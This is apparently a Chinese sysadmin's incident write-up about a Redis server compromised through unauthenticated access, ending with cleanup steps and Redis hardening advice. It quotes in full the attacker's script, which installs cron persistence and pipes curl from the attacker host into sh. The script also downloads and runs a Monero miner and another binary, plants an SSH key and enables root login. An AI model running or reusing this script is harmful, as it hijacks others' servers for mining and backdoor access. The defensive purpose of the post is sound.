问题是周六上午十点发现自己的备份邮件中突然少了一台数据库中的备份数据,当时也没考虑太多,(从这里看出,还不具备运维的思维,哪怕是一个小小的备份也要 重视,为什么会少一台服务器的备份数据)居然过了周末,周一到了上班时间,突然想到周六的备份数据少了,这时候才想到数据库服务器 的数据没有被推送到备份服务器,当然先下手就是看定时任务了,然而,查看到定时任务,一下子震惊了。。。。。
[[email protected] redis]# crontab -l
*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh
这个完全不是我做的定时任务,心里一下子就紧张了,怎么会这样呢,谁会登陆到我的服务器呢,这时想到应该是被黑了。。。。。
刚开始也是很懵逼。。。首先我就直接把服务器的定时任务删除了,后来Google一下代码,才发现是redis的漏洞导致服务器被肉鸡了
处理方法只要把 /var/spool/cron/root 删除 /opt/yam/yam 删除 /opt/gg3lady 删除 .ssh/KHK75NEOiq 删除
把gg3lady yam 进程结束 还有就是sshd_confg 文件还原 应该就没问题了。
##网上查到脚本内容大致如下
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root
# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr" >> /var/spool/cron/root
echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/opt/yam/yam" ]; then
mkdir -p /opt/yam
curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
# /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr
fi
if [ ! -f "/opt/gg3lady" ]; then
curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
chmod +x /opt/gg3lady
fi
# yam=$(ps auxf | grep yam | grep -v grep | wc -l)
# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)
# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)
# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`
对应的安全处理:
1、限制Redis的访问IP,如指定本地IP获指定特定IP可以访问。
2、如果是本地访问和使用,打开防火墙(阿里云等操作系统,默认把防火墙关了),不开放Redis端口,最好修改掉Redis的默认端口;
3、如果要远程访问,给Redis配置上授权访问密码;